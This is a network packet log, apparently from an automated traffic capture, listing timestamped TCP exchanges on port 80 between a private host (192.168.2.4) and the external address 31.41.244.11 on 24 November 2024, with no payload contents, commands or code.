Nov 24, 2024 14:24:19.579040051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.580331087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.580393076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.580420017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.580465078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.581803083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.581851006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.581906080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.581954956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.583225012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.583275080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.583350897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.583398104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.584680080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.584729910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.584769964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.584817886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.586102009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.586154938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.586178064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.586229086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.587551117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.587603092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.587671995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.587721109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.589044094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.589095116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.589131117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.589178085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.590451002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.590500116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.590559006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.590615034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.592123032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.592175961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.592381954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.592431068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.594094038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.594146967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.594242096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.594285011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.595149994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.595201015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.595227957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.595273972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.596215010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.596265078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.596350908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.596399069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.597673893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.597727060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.597763062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.597806931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.599150896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.599198103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.599258900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.599339008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.600569010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.600621939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.600657940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.600708961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.602032900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.602085114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.602118015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.602166891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.603427887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.603490114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.603521109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.603570938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.604878902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.604928970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.604990959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.605040073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.606318951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.606370926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.606425047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.606472015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.607764006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.607830048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.607878923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.607928991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.609224081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.609257936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.609273911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.609302998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.610692978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.610747099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.610836029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.610883951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.612112045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.612168074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.612236977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.612286091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.613550901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.613600969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.613771915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.613821983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.614993095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.615044117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.615341902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.615392923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.616422892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.616472006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.616556883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.616604090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.617930889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.617980003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.618036985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.618087053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.619328022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.619379044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.619498014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.619544983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.620759010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.620810032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.620841026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.620882034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.622204065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.622252941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.622304916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.622349977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.623673916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.623723984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.623754978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.623797894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.625113964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.625169039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.625212908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.625264883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.626657963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.626710892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.626741886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.626789093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.627999067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.628052950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.628122091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.628169060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.629432917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.629487038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.629518986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.629565954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.630887032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.630943060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.630976915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.631021023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.632342100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.632386923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.632458925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.632507086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.633766890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.633810997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.633816004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.633862019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.635252953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.635303974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.635351896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.635397911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.636677980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.636725903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.636787891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.636835098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.638096094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.638145924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.638211012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.638278008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.639548063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.639597893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.639619112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.639667034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.641002893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.641077042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.641134977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.641180992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.642405987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.642461061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.767910004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.767962933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.768188000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.768235922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.768384933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.768438101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.768564939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.768618107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.769524097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.769578934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.769661903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.769710064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.770646095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.770699978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.770752907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.770818949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.771828890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.771869898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.771886110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.771929026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.772922993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.772979021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.773107052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.773166895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.774075031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.774122000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.774204969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.774267912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.775221109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.775279045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.775321960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.775361061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.776360989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.776416063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.776464939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.776510954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.777482033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.777538061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.777546883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.777595997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.778611898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.778662920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.778757095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.778820038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.779751062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.779803038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.779875040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.779930115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.781012058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.781053066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.781069040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.781119108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.782011986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.782066107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.782135010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.782186985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.783149004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.783199072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.783284903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.783349991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.784287930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.784342051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.784415960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.784463882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.785424948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.785475969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.785557985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.785605907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.786611080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.786648989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.786659956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.786688089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.787934065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.787946939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.787992954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.788853884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.788899899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.788969040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.789016962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.790025949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.790081024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.790250063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.790297985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.791138887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.791203022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.791243076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.791291952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.792258024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.792308092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.792382956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.792432070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.793391943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.793442011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.793492079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.793540001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.794519901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.794568062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.794636965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.794683933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.795742989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.795804977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.795888901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.795938015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.796817064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.796868086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.796925068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.796972990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.797955036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.798000097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.798099041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.798146963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.799076080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.799138069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.799190044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.799237967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.800232887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.800283909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.800345898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.800395012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.801425934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.801476955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.801572084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.801615953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.802493095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.802541018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.802607059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.802655935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.803653002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.803715944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.803854942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.803899050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.804770947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.804819107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.804884911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.804949999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.805936098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.805988073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.806024075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.806068897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.807048082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.807099104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.807101011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.807168961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.808191061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.808238983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.808295012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.808346033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.809334993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.809379101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.809441090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.809493065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.810484886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.810534000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.810580015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.810626984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.811605930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.811655045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.811742067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.811789036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.812756062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.812809944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.812875986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.812931061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.813884974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.813944101 CET	49778	80	192.168.2.4	31.41.244.11
